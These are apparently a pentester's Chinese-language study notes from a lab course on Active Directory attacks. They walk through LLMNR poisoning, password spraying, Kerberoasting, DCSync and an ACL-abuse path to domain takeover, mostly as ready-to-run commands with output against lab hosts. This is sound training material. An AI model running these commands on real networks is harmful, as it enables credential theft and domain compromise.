8718 字
44 分鐘
Active Directory Enumeration & Attacks

Active Directory Enumeration & Attacks#

LLMNR/NBT-NS Poisoning#

LLMNR/NBT-NS 原理#

當一台 Windows 電腦想要存取另一台主機(例如 \FileServer)時,它會依照以下順序進行解析:

  1. DNS (Domain Name System): 這是最優先的。電腦問 DNS 伺服器:「FileServer 的 IP 是多少?」如果 DNS 回答了,流程結束。
  2. LLMNR (Link-Local Multicast Name Resolution): 情境: 如果 DNS 壞了,或者使用者打錯字(打成 \FileSurver),DNS 會說「查無此人」。 動作: 這時電腦不會放棄,它會使用 UDP 5355 向區域網路發送 多播 (Multicast) 封包,大喊:「有沒有人知道 FileSurver 在哪裡?」
  3. NBT-NS (NetBIOS Name Service): 情境: 如果 LLMNR 也沒人回。 動作: 這是更古老的協定。電腦會使用 UDP 137 向區域網路發送 廣播 (Broadcast) 封包,再次大喊:「誰是 FileSurver?」

漏洞所在: LLMNR 和 NBT-NS 是「盲目信任」的協定。網路上的任何一台電腦都可以回答這個請求。 這就是駭客切入的點。

LLMNR/NBT-NS Poisoning 原理#

image

步驟 5: 受害者之所以傳送當前使用者的憑證是為了證明身分

LLMNR/NBT-NS Poisoning 工具#

ToolDescription
ResponderResponder is a purpose-built tool to poison LLMNR, NBT-NS, and MDNS, with many different functions.(Python 編寫,主要運行於 Linux)
InveighInveigh is a cross-platform MITM platform that can be used for spoofing and poisoning attacks. ( 主要運行於 Windows)
MetasploitMetasploit has several built-in scanners and spoofing modules made to deal with poisoning attacks.

Using Responder#

$ sudo responder -I ens224
  • -A (Analyze Mode):分析模式。只監聽不回應(不投毒)
  • -w (WPAD):啟動 WPAD 惡意代理伺服器。Responder 會偽裝成擁有 wpad.dat 配置檔的伺服器,能抓到非常多的 HTTP 認證 Hash。
Eeyoreee@htb[/htb]$ ls
Analyzer-Session.log Responder-Session.log
Config-Responder.log SMB-NTLMv2-SSP-172.16.5.200.txt
HTTP-NTLMv2-172.16.5.200.txt SMB-NTLMv2-SSP-172.16.5.25.txt
Poisoners-Session.log SMB-NTLMv2-SSP-172.16.5.50.txt
Proxy-Auth-NTLMv2-172.16.5.200.txt

Using Inveigh#

Terminal window
PS C:\htb> Import-Module .\Inveigh.ps1
PS C:\htb> Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y

Using C# Inveigh (InveighZero)#

下載

PS C:\htb> .\Inveigh.exe
[*] Inveigh 2.0.4 [Started 2022-02-28T20:03:28 | PID 6276]
[+] Packet Sniffer Addresses [IP 172.16.5.25 | IPv6 fe80::dcec:2831:712b:c9a3%8]
[+] Listener Addresses [IP 0.0.0.0 | IPv6 ::]
[+] Spoofer Reply Addresses [IP 172.16.5.25 | IPv6 fe80::dcec:2831:712b:c9a3%8]
[+] Spoofer Options [Repeat Enabled | Local Attacks Disabled]
[ ] DHCPv6
[+] DNS Packet Sniffer [Type A]
[ ] ICMPv6
[+] LLMNR Packet Sniffer [Type A]
[ ] MDNS
[ ] NBNS
<skip>
  • [+] 代表預設啟用
  • [ ] 代表預設關閉

按下該 esc 鍵進入控制台並且可以使用 HELP

[-] [20:10:24] LLMNR(AAAA) request [academy-ea-web0] from fe80::f098:4f63:8384:d1d0%8 [type ignored]
[-] [20:10:24] LLMNR(AAAA) request [academy-ea-web0] from 172.16.5.125 [type ignored]
[.] [20:10:24] TCP(1433) SYN packet from 172.16.5.125:61310
[.] [20:10:24] TCP(1433) SYN packet from 172.16.5.125:61311
C(0:0) NTLMv1(0:0) NTLMv2(3:9)> HELP

可以看到各種命令可以使用

=============================================== Inveigh Console Commands ===============================================
Command Description
========================================================================================================================
GET CONSOLE | get queued console output
GET DHCPv6Leases | get DHCPv6 assigned IPv6 addresses
GET LOG | get log entries; add search string to filter results
GET NTLMV1 | get captured NTLMv1 hashes; add search string to filter results
GET NTLMV2 | get captured NTLMv2 hashes; add search string to filter results
GET NTLMV1UNIQUE | get one captured NTLMv1 hash per user; add search string to filter results
GET NTLMV2UNIQUE | get one captured NTLMv2 hash per user; add search string to filter results
<skip>

可以輸入像是 GET NTLMV2UNIQUE , GET NTLMV2USERNAMES

拿到的 NetNTLMv2 特性:

  1. 不能直接用來 Pass-the-Hash
  2. 可以進行 SMB Relay
    • 不進行離線破解,而是趁時間還沒過期將這組認證轉送 Target SMB / LDAP / HTTP
  3. 可以進行離線破解

image

Password Spraying#

使用大量帳號但是單個密碼循環的暴力破解攻擊

好處是不容易被 Fail2Ban

Enumerating & Retrieving Password Policies#

密碼政策的重要元件:

image

前提:當具有一組有效的 domain credentials:

在 Linux :

Terminal window
Eeyoreee@htb[/htb]$ crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol

在 Windows :

C:\htb> net accounts
PS C:\htb> import-module .\PowerView.ps1
PS C:\htb> Get-DomainPolicy

前提:如果沒有憑證:

可以用兩種方法分別是 SMB NULL SessionsLDAP Anonymous Bind

SMB NULL Sessions from Linux#

Eeyoreee@htb[/htb]$ rpcclient -U "" -N 172.16.5.5
rpcclient $> querydominfo
rpcclient $> getdompwinfo
Eeyoreee@htb[/htb]$ enum4linux -P 172.16.5.5
Eeyoreee@htb[/htb]$ enum4linux-ng -P 172.16.5.5 -oA ilfreight

SMB NULL Sessions from Windows (從 Windows 攻擊機上發動的攻擊)#

建立空白會話

C:\htb> net use \\DC01\ipc$ "" /u:""

error 1909 帳戶已鎖定 -> 代表使用者名稱是存在的!

C:\htb> net use \\DC01\ipc$ "password" /u:guest
System error 1909 has occurred.
The referenced account is currently locked out and may not be logged on to.

LDAP Anonymous Bind#

Terminal window
Eeyoreee@htb[/htb]$ ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
forceLogoff: -9223372036854775808
lockoutDuration: -18000000000
lockOutObservationWindow: -18000000000
lockoutThreshold: 5
maxPwdAge: -9223372036854775808
minPwdAge: -864000000000
minPwdLength: 8
modifiedCountAtLastProm: 0
nextRid: 1002
pwdProperties: 1
pwdHistoryLength: 24

在這裡我們可以看到最小密碼長度為 8,鎖定閾值為 5,密碼複雜度已設定(pwdProperties設定為1)

Making a Target User List#

四種方法都可以枚舉 USER 第四種需要具有憑證,具有憑證的枚舉方式通常最有效

1. SMB NULL Session to Pull User List

$ enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
$ rpcclient -U "" -N 172.16.5.5
$ crackmapexec smb 172.16.5.5 --users

2. Gathering Users with LDAP Anonymous

$ ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
$ ./windapsearch.py --dc-ip 172.16.5.5 -u "" -U

3. Enumerating Users with Kerbrute

原理: 利用 Kerberos Pre-Authentication 機制。發送 TGT 請求,如果 KDC 回應「需要預先驗證」,代表使用者存在;如果回應「Principal Unknown」,代表使用者不存在

$ kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt -o valid_users.txt

jsmith.txt

4. Credentialed Enumeration to Build our User List

$ sudo crackmapexec smb 172.16.5.5 -u htb-student -p Academy_student_AD! --users

Internal Password Spraying#

以 Linux 攻擊機為主#

1. 使用 Bash 單行指令進行攻擊

for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done

2. 使用 Kerbrute 進行攻擊

$ kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1

3. 使用 CrackMapExec 和過濾登入失敗

$ sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +

4. 本機管理員密碼重複使用

前提:攻破了一台電腦的本機管理員

$ sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +

以 Windows 攻擊機為主#

PS C:\htb> Import-Module .\DomainPasswordSpray.ps1
PS C:\htb> Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue

Deeper Down Enumerating#

應用:通常在成功獲得一組低權限憑證後,利用該憑證深入挖掘網域資訊(使用者、群組、權限、共享資源等)的關鍵階段。

NOTE:至少需要取得使用者的明文密碼、NTLM 密碼雜湊值,或在已加入網域的主機上擁有 SYSTEM 存取權限

我們應該先調查目標環境中的防禦機制,以便決定接下來該使用什麼工具(或該避開什麼工具)。

Enumerating Security Controls#

1. Windows Defender#

PS C:\htb> Get-MpComputerStatus
  • RealTimeProtectionEnabled: True -> 代表即時防護已開啟,你的惡意檔案落地或執行記憶體攻擊時會被掃描。
  • AntispywareEnabled: True -> 反間諜軟體功能開啟。

2. AppLocker (應用程式白名單)#

Terminal window
PS C:\htb> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
PathConditions : {%SYSTEM32%\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 3d57af4a-6cf8-4e5b-acfc-c2c2956061fa
Name : Block PowerShell
Description : Blocks Domain Users from using PowerShell on workstations
UserOrGroupSid : S-1-5-21-2974783224-3764228556-2640795941-513
Action : Deny
  • Action: Deny + PathConditions: ...\powershell.exe -> 代表該路徑的 PowerShell 被禁止執行。
  • 繞過思路:管理者通常只封鎖了標準路徑(System32\WindowsPowerShell\v1.0\powershell.exe),卻忘記封鎖其他路徑 %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe (32位元版本)PowerShell_ISE.exe

3. PowerShell Constrained Language Mode (受限語言模式)#

當啟用 CLM (Constrained Language Mode) 時,PowerShell 的功能會被大幅閹割

PS C:\htb> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

4. LAPS (本機管理員密碼解決方案)#

LAPS是微軟用來防禦 Pass-the-Hash,它會自動隨機更換每台電腦的 Local Administrator 密碼,並將密碼儲存在 AD 中

我們的目標是找出 「哪些使用者/群組有權限讀取這些明文密碼」。

工具:LAPSToolkit

PS C:\htb> Find-LAPSDelegatedGroups:

找出哪些群組(如 Domain Admins, HelpDesk)被授權讀取密碼。如果你能攻破這些群組中的任一使用者,你就能拿到所有電腦的管理員密碼。

PS C:\htb> Find-AdmPwdExtendedRights:

檢查是否有使用者擁有 “All Extended Rights”。這是一種隱晦的權限,擁有此權限的人也能讀取 LAPS 密碼(這通常是配置疏失)。

PS C:\htb> Get-LAPSComputers:

如果你目前的帳號剛好有權限,這個指令會直接噴出所有電腦的明文密碼 (Cleartext Password)。

Credentialed Enumeration - from Linux#

1. CrackMapExec#

Domain User Enumeration

$ sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users

Domain Group Enumeration

$ sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups

Logged On Users

$ sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --loggedon-users

Share Searching

$ sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares
$ sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share '<share_name>'
  • spider_plus 模組會遍歷主機上每個可讀的共用資料夾,並列出所有可讀檔案

查看結果

$ head -n 10 /tmp/cme_spider_plus/172.16.5.5.json

2. SMBMap —— 專注於檔案權限#

$ smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5

Recursive List Of All Directories:

$ smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R '<share_name>' --dir-only
  • --dir-only 快速瀏覽目錄結構

3. rpcclient —— 深入底層的枚舉#

關鍵概念:SID 與 RID

  • SID (Security Identifier): 代表整個網域的唯一識別碼。
  • RID (Relative Identifier): 代表使用者的編號。
    • RID 500 (0x1f4): 永遠是內建的 Administrator。
    • RID 1000+: 通常是建立的一般使用者。

常用指令:

  • enumdomusers:列出所有使用者和他們的 RID。
  • queryuser 0xRID:查詢特定 RID 的詳細屬性(如密碼上次設定時間、邏輯登入時間等)。

4. Impacket —— 橫向移動與執行#

psexec.py

原理: 上傳一個隨機名稱的 .exe 到 ADMIN$ 共享,並註冊為服務來執行。 應用: 當對某台機器擁有 Local Admin 權限時,運行 psexec.py 可直接獲得 SYSTEM 權限 缺點: 檔案會落地,容易被防毒軟體 (AV/EDR) 殺掉。

psexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.125

wmiexec.py 應用: 當你拿到了 Local Admin 密碼或 Hash,想連線過去,但不想觸發「建立服務」這種高風險警報時 優點: 不會在目標主機上留下文件或可執行檔案

wmiexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.5

5. Windapsearch#

使用 Python 進行 LDAP 查詢的工具。

Windapsearch - Domain Admins

$ python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da
  • --da 枚舉 Domain Admins 成員

Windapsearch - Privileged Users

$ python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 -PU
  • -PU 檢查是否存在權限過高但可能未被發現的用戶

6. BloodHound.py —— 攻擊路徑視覺化#

找出成為網域管理員的最短路徑

資料收集

$ sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all

查看結果並壓縮

Eeyoreee@htb[/htb]$ ls
20220307163102_computers.json 20220307163102_domains.json 20220307163102_groups.json 20220307163102_users.json
Eeyoreee@htb[/htb]$ zip -r ilfreight_bh.zip *.json

開啟 BloodHound GUI

Eeyoreee@htb[/htb]$ sudo neo4j start
Eeyoreee@htb[/htb]$ bloodhound

Credentialed Enumeration - from Windows#

當我們在已攻陷的 Windows 跳板機,並擁有一組有效的網域憑證時,該如何進行深度的 AD 枚舉。

1. ActiveDirectory PowerShell Module (微軟官方模組)

啟用模組:

PS C:\htb> Get-Module
PS C:\htb> Import-Module ActiveDirectory

取得網域資訊:

PS C:\htb> Get-ADDomain

尋找 Kerberoasting 目標 (SPN):

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

查看是否有外部信任 (External Trusts) 或樹系信任 (Forest Trusts):

Get-ADTrust -Filter *

列出所有群組:

Get-ADGroup -Filter * | select name

查看特定群組成員:

Get-ADGroupMember -Identity "Backup Operators"

2. PowerView / SharpView

image

遞迴群組成員

Terminal window
PS C:\htb> Get-DomainGroupMember -Identity "Domain Admins" -Recurse
<skip>
GroupDomain : INLANEFREIGHT.LOCAL
GroupName : Secadmins
GroupDistinguishedName : CN=Secadmins,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
MemberDomain : INLANEFREIGHT.LOCAL
MemberName : spong1990
MemberDistinguishedName : CN=Maggie
Jablonski,OU=Operations,OU=Logistics-HK,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
MemberObjectClass : user
MemberSID : S-1-5-21-3842939050-3880317879-2865463114-1965
<SNIP>

巢狀群組成員:使用者 spong1990 不是直接被加在 Domain Admins 名單裡的。她是加在 Secadmins 這個群組裡的

測試本機管理員存取權限

PS C:\htb> Test-AdminAccess -ComputerName ACADEMY-EA-MS01
ComputerName IsAdmin
------------ -------
ACADEMY-EA-MS01 True

代表我們目前使用的管理員帳戶同時也是 ACADEMY-EA-MS01 的管理員

尋找已設定 SPN 的用戶

PS C:\htb> Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName
serviceprincipalname samaccountname
-------------------- --------------
adfsconnect/azure01.inlanefreight.local adfs
backupjob/veam001.inlanefreight.local backupagent
d0wngrade/kerberoast.inlanefreight.local d0wngrade
kadmin/changepw krbtgt
MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433 sqldev
MSSQLSvc/SPSJDB.inlanefreight.local:1433 sqlprod
MSSQLSvc/SQL-CL01-01inlanefreight.local:49351 sqlqa
sts/inlanefreight.local solarwindsmonitor
testspn/kerberoast.inlanefreight.local testspn
testspn2/kerberoast.inlanefreight.local testspn2

SharpView 使用方式:

  • 語法與 PowerView 幾乎一致,只是以參數形式傳入。
  • 範例:.\SharpView.exe Get-DomainUser -Identity forend

3. Snaffler (共享資料夾搜尋)

它會掃描網域內所有電腦的 SMB 共享資料夾 (Shares),並根據關鍵字尋找敏感檔案。

  • 設定檔: web.config (常含有明文資料庫密碼)。
  • 憑證檔: .kdbx (KeePass 資料庫), .ppk (SSH 金鑰), .rdp。
  • 備份檔: .sql, .bak。
.\Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data

4. BloodHound / SharpHound (攻擊路徑視覺化)

資料收集

.\SharpHound.exe -c All --zipfilename ILFREIGHT

Living Off the Land#

本節將討論幾種利用 Windows 原生工具進行枚舉的技術

TODO

Kerberoasting#

前提:執行 Kerberoasting 攻擊的前提條件是擁有網域使用者憑證

運作機制: 當使用者向 KDC(網域控制站)請求一張 TGS 票據時,你提供的並不是「帳號名稱」,而是 「SPN」。

流程如下:

  • 你告訴 KDC:「我要存取 MSSQLSvc/DB01.inlanefreight.local:1433 這個服務,請給我票據。」
  • KDC 接收到請求後,會去 AD 資料庫(Global Catalog)搜尋:「請問哪個使用者的 servicePrincipalName 屬性等於 MSSQLSvc/DB01.inlanefreight.local:1433 ?」
  • 由於 AD 強制 SPN 唯一性,KDC 只會找到 唯一的一個帳號(例如 svc_sql)。
  • KDC 取出 svc_sql 的密碼 NTLM Hash,用它來加密 TGS 票據,然後發送給你。

該攻擊核心就是暴力破解該服務帳號的 NTLM Hash ,且這些擁有 Service Principal Name (SPN) 的服務帳號往往擁有極高的權限(如 Domain Admin 或伺服器的 Local Admin)

工具:

  • Impacket’s GetUserSPNs.py (Linux)
  • Rubeus(Windows)

攻擊有效性: 當我們嘗試利用此攻擊手法,結果有三種可能

  • 成功破解出明文密碼且是高權限
  • 成功破解出明文密碼但是低權限,我們可以利用該演講得到高權限
  • 破解失敗

Linux#

使用 GetUserSPNs.py 進行 Kerberoasting#

列出 SPN 帳戶

$ impacket-GetUserSPNs -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend

看到哪些帳戶是 Domain Admin 的成員

請求所有TGS票據

$ impacket-GetUserSPNs -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request

請求單張TGS票據

$ impacket-GetUserSPNs -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev
  • 也可以加上 -outputfile sqldev_tgs 將TGS票據儲存到輸出文件

使用 Hashcat 離線破解票據

$ hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt

針對 DC 測試身份驗證

如果成功破解 Domain Admin 的帳戶我們可以測試登入 DC

Terminal window
Eeyoreee@htb[/htb]$ sudo crackmapexec smb 172.16.5.5 -u sqldev -p database!
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [+] INLANEFREIGHT.LOCAL\sqldev:database! (Pwn3d!

Windows#

兩種方式 PowerView 、 Rubeus

PowerView: 使用 PowerView 列舉 SPN 帳戶

Terminal window
PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Get-DomainUser * -spn | select samaccountname
samaccountname
--------------
adfs
backupagent
krbtgt
sqldev
sqlprod
sqlqa
solarwindsmonitor

使用 PowerView 定位特定用戶

PS C:\htb> Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat

將所有工單匯出到 CSV 文件

PS C:\htb> Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation

接下來就離線破解

Rubeus:

查看統計數據

Rubeus.exe kerberoast /stats

它會告訴你有幾個帳號可以攻擊、支援什麼加密類型 (RC4/AES),但不發送請求。

請求所有可能的票據

Rubeus.exe kerberoast /nowrap

只請求那些 admincount=1 (通常是高權限帳號) 的票據

Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

Kerberos 票據使用不同的加密演算法,這直接影響破解速度。

  • RC4 (Type 23):
    • 特徵: Hash 以 $krb5tgs$23$ 開頭。
    • 破解難度: 低。Hashcat 破解速度極快。
  • AES-256 (Type 18):
    • 特徵: Hash 以 $krb5tgs$18$ 開頭。
    • 破解難度: 高。比 RC4 慢非常多。

在 Windows Server 2019 之前的 DC 可以利用加密降級的方式強制請求 RC4 票據

Rubeus.exe kerberoast /tgtdeleg /nowrap
  • /tgtdeleg 參數會欺騙 DC 說:「我只支援 RC4」,迫使 DC 降級發送 RC4 票據給你,讓你更容易破解

防禦與檢測

  • 使用 GMSA (群組管理服務帳號)。這種帳號的密碼是隨機產生且由 AD 自動管理的,長度 120+ 字元,根本無法破解。
  • 監控 Event ID 4769 (Kerberos Service Ticket Requested)。如果同一個使用者在短時間內請求了大量的 TGS 票據(例如 1 分鐘內請求了 20 個服務),這就是典型的 Kerberoasting 掃描特徵。

DCSync#

這是一種網域持久化 (Persistence) 和 憑證竊取 (Credential Dumping) 的技術。一旦成功執行,攻擊者可以獲取網域中任何使用者的 NTLM hash(包含 krbtgt 和 Administrator)

只要擁有GetChanges 和 GetChangesAll 的組合就自動是DCSync

DCSync 攻擊原理#

DCSync 並不是利用漏洞,而是濫用了 Active Directory 的 複寫 (Replication) 功能。

  • 正常運作: 在一個網域中,所有的網域控制站 (DC) 必須互相「同步」資料(例如使用者密碼變更)。這透過 DRS-R (Directory Replication Service Remote Protocol) 協定來完成。
  • 攻擊機制: 攻擊者偽裝成一台 DC,向真實的 DC 透過 DS-Replication-Get-Changes-All 擴充權限發送請求,例如:「嗨,我是你的夥伴,請把所有使用者的密碼雜湊傳給我,我要同步資料。」

結果: 真實的 DC 只要確認你有權限,就會乖乖把整個 NTDS.dit 資料庫的機密內容吐出來。

執行條件 (Prerequisites)#

要執行 DCSync,需要擁有以下 Extended Rights (擴充權限):

  • DS-Replication-Get-Changes (複寫目錄變更)
  • DS-Replication-Get-Changes-All (複寫所有目錄變更)

攻擊手法#

方法 A:使用 Impacket secretsdump.py Extracting NTLM Hashes and Kerberos Keys Using secretsdump.py

$ secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5
or
$ secretsdump.py -just-dc-user <TargetUser> <Domain>/<User>@<DC_IP>
  • -just-dc: 只抓取 NTDS 資料(不抓本機 SAM)。
  • -just-dc-ntlm: 只抓 NTLM Hash。
  • -pwd-last-set / -history: 查看密碼修改時間與歷史紀錄。
  • Reversible Encryption: 如果有帳號設定了「可還原加密」,secretsdump 會自動解密並顯示 明文密碼 (Cleartext Password)。

找出網域中所有設定了『使用可還原加密來儲存密碼』的使用者

Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

方法 B:使用 Mimikatz (Windows) 使用 Mimikatz 時,我們必須針對特定使用者。這裡我們將針對內建的管理員帳號。我們也可以針對該krbtgt帳戶並利用它來建立Golden Ticket持久化實例

使用 runas.exe

C:\Windows\system32>runas /netonly /user:INLANEFREIGHT\adunn powershell

Performing the Attack with Mimikatz

PS C:\htb> .\mimikatz.exe
mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator

補充 runas#

當你執行 runas /netonly /user:INLANEFREIGHT\adunn powershell 時,這個新視窗擁有兩種身分:

  • 本機身分 (Local Identity):
    • 你是誰? 你原本的使用者 (例如 htb-student)。
    • 證據: 如果你在那個視窗打 whoami,它顯示的不是 adunn。
    • 影響: 你在本機上的檔案存取權限、登錄檔權限,都還是舊的。
  • 網路身分 (Network Identity):
    • 你是誰? INLANEFREIGHT\adunn。
    • 證據: 當這個視窗嘗試存取任何 網路資源 (UNC Path, RPC, SMB) 時,Windows 會自動拿出 adunn 的憑證來進行 Kerberos 或 NTLM 驗證。
    • 影響: 遠端的伺服器(DC)看到的請求來源是 adunn。

後續:

  • 你可以執行 mimikatz 竊取資料
  • 執行 sharphound 收集資料

ACL#

Access Control List (ACL) Abuse Primer#

  • ACL (Access Control List): 一個完整的清單
    • DACL (Discretionary ACL): 這是重點。 定義誰可以允許或拒絕存取。
    • SACL (System ACL): 用來做稽核(記錄日誌)的
  • ACE (Access Control Entry): ACL 裡面的一條規則。
    • 每一條 ACE 包含四個要素:
    1. Who: 誰有權限(SID)。
    2. What: access mask 什麼權限(讀取、寫入、完全控制)。
    3. Type: 允許 (Allow) 還是拒絕 (Deny)。
    4. Inheritance: 是否繼承給子物件。

Abusable ACEs#

image

  • A. ForceChangePassword (強制重設密碼)
    • 能力: 你可以在不知道舊密碼的情況下,直接重設目標使用者的密碼。
    • 攻擊: 重設 Domain Admin 的密碼 -> 登入 -> 奪取網域。
    • 風險: 這是一種破壞性攻擊。重設密碼會導致原使用者無法登入,絕對會被發現。非必要勿用,或需先取得客戶同意。
  • B. GenericWrite (寫入屬性)
    • 能力: 你可以修改目標物件的非受保護屬性。
    • 攻擊 1 (針對使用者): Targeted Kerberoasting。
      • 原理:你在目標使用者身上寫入一個 SPN (Service Principal Name)。
      • 後果:現在你可以對他進行 Kerberoasting 攻擊,請求票據並離線破解密碼。
    • 攻擊 2 (針對群組): 將自己加入該群組。
    • 攻擊 3 (針對電腦): RBCD (Resource-Based Constrained Delegation)。寫入 msDS-AllowedToActOnBehalfOfOtherIdentity 屬性,讓你自己可以偽裝成任何人存取該電腦。
  • C. AddSelf (將自己加入)
    • 能力: 你可以把自己(或你控制的群組)加入到目標群組中。
    • 攻擊: 如果目標是 Domain Admins,你就直接把自己加進去,遊戲結束。
  • D. GenericAll (完全控制)
    • 能力: 上帝模式。你對該物件擁有所有權限。
    • 攻擊:你可以做上述所有事情(重設密碼、修改屬性、加群組)。如果目標是電腦且有 LAPS,你可以直接讀取 LAPS 本機管理員密碼。

image

ACL Enumeration#

Enumerating ACLs with PowerView#

TODO

Enumerating ACLs with BloodHound#

一切的分析都從「你現在是誰」開始。在範例中,我們控制了使用者 wley。

  • 操作: 在搜尋框輸入 wley,點擊該節點。
  • 查看面板: 點擊 Node Info (節點資訊) 分頁。
  • 關鍵數據:
    • Outbound Control Rights (出站控制權):這代表「wley 可以控制誰」。
    • First Degree Object Control (一級控制): 這是直接的權限。範例顯示 1,代表 wley 直接控制了 1 個物件。
    • Transitive Object Control (傳遞/間接控制): 範例顯示 16,代表雖然 wley 只直接控制 1 個人,但透過連鎖反應(A控制B,B控制C…),wley 最終能影響 16 個物件。

ACL 濫用實戰演練#

透過 bloodhound 可以發現我們可以執行 DCSync ( 同時具有 GetChangesGetChangesAll 權限) Bloodhound個權限的利用 image image

路徑為: wley -> damundsen -> Help Desk Level 1 Group -> adunn -> DCsync

路徑 1.wley -> damundsen#

BloodHound 告訴我們,wley 對 damundsen 有 ForceChangePassword 權限

1.使用 PowerShell 建立憑證物件 PSCredential 代表 wley

PS C:\htb> $SecPassword = ConvertTo-SecureString '<wley_PASSWORD>' -AsPlainText -Force
PS C:\htb> $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)

2.建立一個 SecureString 對象表示我們要為 damundsen 設定的密碼

PS C:\htb> $damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force

3.使用 PowerView 的 Set-DomainUserPassword 強制將 damundsen 的密碼重設為我們設定的新密碼

PS C:\htb> cd C:\Tools\
PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'damundsen'
VERBOSE: [Set-DomainUserPassword] Password for user 'damundsen' successfully reset

4.建立受害者 (damundsen) 的新憑證

$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)

路徑2. damundsen -> Help Desk Level 1 Group#

根據 BloodHound , damundsen 對 Help Desk Level 1 Group 存在 GenericWrite 權限,所以可以利用 PowerView 的 Add-DomainGroupMember,將 damundsen 自己加入到 Help Desk Level 1 群組中。

PS C:\htb> Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Add-DomainGroupMember] Adding member 'damundsen' to group 'Help Desk Level 1'

確認 damundsen 已加入該群組

PS C:\htb> Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName
MemberName
----------
busucher
damundsen
dpayne

路徑3. Help Desk Level 1 Group -> adunn#

Bloodhound 顯示:

  • Help Desk Level 1Information Technology 的成員(巢狀群組)。
  • Information Technology 對 adunn 擁有 GenericAll (完全控制) 權限。

結論: 我們現在間接擁有了對 adunn 的完全控制權。

執行攻擊: 1.可以同上修改 adunn 密碼 2.SPN Jacking+Kerberoasting(偽造 SPN 來進行 Kerberoasting 攻擊)

以下針對第二種方法

創建虛假的SPN

PS C:\htb> Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose

Kerberoasting with Rubeus

PS C:\htb> .\Rubeus.exe kerberoast /user:adunn /nowrap

路徑4. adunn -> DCSync#

DCSync

Privileged Access#

當我們還沒有 Local Admin 權限時,透過遠端存取協定 (Remote Access Protocols) 進行橫向移動可以利用主機權限:

  • 發動進一步攻擊
  • 我們或許能夠提升權限並取得更高權限使用者的憑證。
